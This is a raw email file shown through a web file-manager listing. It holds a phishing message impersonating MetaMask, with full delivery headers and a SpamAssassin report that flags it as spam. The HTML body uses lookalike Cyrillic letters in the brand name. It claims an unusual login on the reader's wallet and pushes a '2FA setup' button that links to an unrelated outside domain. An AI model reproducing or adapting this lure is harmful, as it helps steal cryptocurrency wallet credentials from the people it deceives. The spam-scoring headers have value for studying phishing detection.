Directory : /home/proudlyafrican/mail/.spam/new/ |
|
Current File : //home/proudlyafrican/mail/.spam/new/1748706780.M765837P1710651.nc-ph-2432.beatq.tech,S=6592,W=6714 |
Return-Path: <postmaster@bb5e738466.nxcli.io>
Delivered-To: proudlyafrican+spam@nc-ph-2432.beatq.tech
Received: from nc-ph-2432.beatq.tech
by nc-ph-2432.beatq.tech with LMTP
id GHVALdwlO2g7GhoAm3PG5w
(envelope-from <postmaster@bb5e738466.nxcli.io>)
for <proudlyafrican+spam@nc-ph-2432.beatq.tech>; Sat, 31 May 2025 15:53:00 +0000
Return-path: <postmaster@bb5e738466.nxcli.io>
Envelope-to: info@proudlyafrican.co.uk
Delivery-date: Sat, 31 May 2025 15:53:00 +0000
Received: from cloudhost-11611033.us-midwest-2.nxcli.net ([207.246.254.85]:65088)
by nc-ph-2432.beatq.tech with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.98.2)
(envelope-from <postmaster@bb5e738466.nxcli.io>)
id 1uLOW4-00000007Ax7-2A4F
for info@proudlyafrican.co.uk;
Sat, 31 May 2025 15:53:00 +0000
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=bb5e738466.nxcli.io;
b=CZBe8S93moYGujd//gESF9buGOJYKdTlUhmHWU+graNFGRS+/RIorRIIJ6wgpN+HBFgBHaHlMG0hstwNzw5xQ/lXDS0B1yhlOz3h64Q1OXj2tWyc7Iotj7D/jVUylg0oPlp474Ho0qkUCYSv0B1Pg+0gAUWqc1xcyotWWW1+OhCVVIDf762e99+OCacNT4rxAlL/3pXvWhXu93pam8X0QF1/ufwA48mDlj0S1Jl8J0bRwq+imcbQoZ9w0mjLZSIHUiJ2WbTuXp+Kdf0ttYXWf6E3ioOaQhmqgDOnG2MG8eXqIbafOtUtzlVQyCQ+AsQN289NHnHfTNsTTEf3cfC7AA==;
h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=bb5e738466.nxcli.io; h=
date:message-id:to:subject:from:reply-to:mime-version
:content-type; s=default; bh=TCuyEJuQ5IipVf7r7H7daUN01JJgDK/79QP
jxmxDBW0=; b=flnNFGttbHJ3LyfWvj2YUw2ciZZifaZ9DmJHFfeX+7hwf5T1MSR
SNUK+ZFX3EczOiDFUJTSZ7zFA6C4nwjL3uK+GjbRlyxTcSGmm4os0bA9V4jjvAh3
expnSH9nYEM4xs9zr5HhKXPIbCRVD7w2nWpDH+sEIe3g02fai8MCAbctFYQ3E/aT
2fY+RehsJKa/E+MS9Af6G4TI3Pixo/fe9u7z2dM0q4BxCQ4TolO2+95ZVRlzpJxf
CBeT2SA/Dq2SpfV2hilBAUfhn9PWIJVJLR0ixtSLo7EZbVhwZ6HKB5agklGgO3lW
/mZPte0I2njKAW4M9mQ9/qNGa6sU1upcj4w==
Received: (qmail 11802 invoked by uid 10119); 31 May 2025 15:52:18 +0000
Date: 31 May 2025 15:52:18 +0000
Message-ID: <20250531155218.11799.qmail@cloudhost-11611033.us-midwest-2.nxcli.net>
To: info@proudlyafrican.co.uk
X-PHP-Originating-Script: 10119:o.php
From: "MetaMаsk" <k9rztmfb@ghl.io>
Reply-To: k9rztmfb@ghl.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=5.5
X-Spam-Score: 55
X-Spam-Bar: +++++
X-Spam-Report: Spam detection software, running on the system "nc-ph-2432.beatq.tech",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetaMаsk Security Notice 🦊 Unusual Login Attempt Detected
Content analysis details: (5.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: nxcli.io]
[URI: themkrock.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[207.246.254.85 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[207.246.254.85 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[207.246.254.85 listed in sa-accredit.habeas.com]
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
1.0 HK_RANDOM_FROM From username looks random
0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
domains are different
0.0 HTML_MESSAGE BODY: HTML included in message
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
[cf: 100]
X-Spam-Flag: YES
Subject: ***SPAM*** Lаst Reminder: Security Notification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>MetaMаsk Security Notice</title>
<style>
body {margin:0;padding:0;background:#f4f4f7;font-family:Arial,sans-serif;color:#333}
.box {max-width:500px;margin:40px auto;background:#fff;border-radius:8px;padding:24px 28px;box-shadow:0 2px 10px #0001}
.logo {font-size:38px;margin-bottom:10px;text-align:center}
h2 {color:#f6851b;text-align:center;font-size:20px;margin-bottom:20px}
p {font-size:15px;line-height:1.6;margin:0 0 18px;text-align:center}
.btn {
display:inline-block;margin:22px auto;padding:10px 24px;background:#f6851b;
color:#fff;text-decoration:none;border-radius:6px;font-weight:bold;font-size:15px
}
.footer {font-size:12px;color:#777;text-align:center;margin-top:26px}
</style>
</head>
<body>
<div class="box">
<div class="logo">🦊</div>
<h2>Unusual Login Attempt Detected</h2>
<p>We've detected activity from an unfamiliar device on your MetaMаsk wallet.</p>
<p>For your protection, we strongly recommend enabling Two-Factor Authentication (2FA).</p>
<p><a href="https://themkrock.com/cpi/?id=-8687514551587996610-3384" class="btn">🔐 Setup Now</a></p>
<p class="footer">If this was you, no action is needed.<br>— MetaMаsk Security Team</p>
</div>
</body>
</html>
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]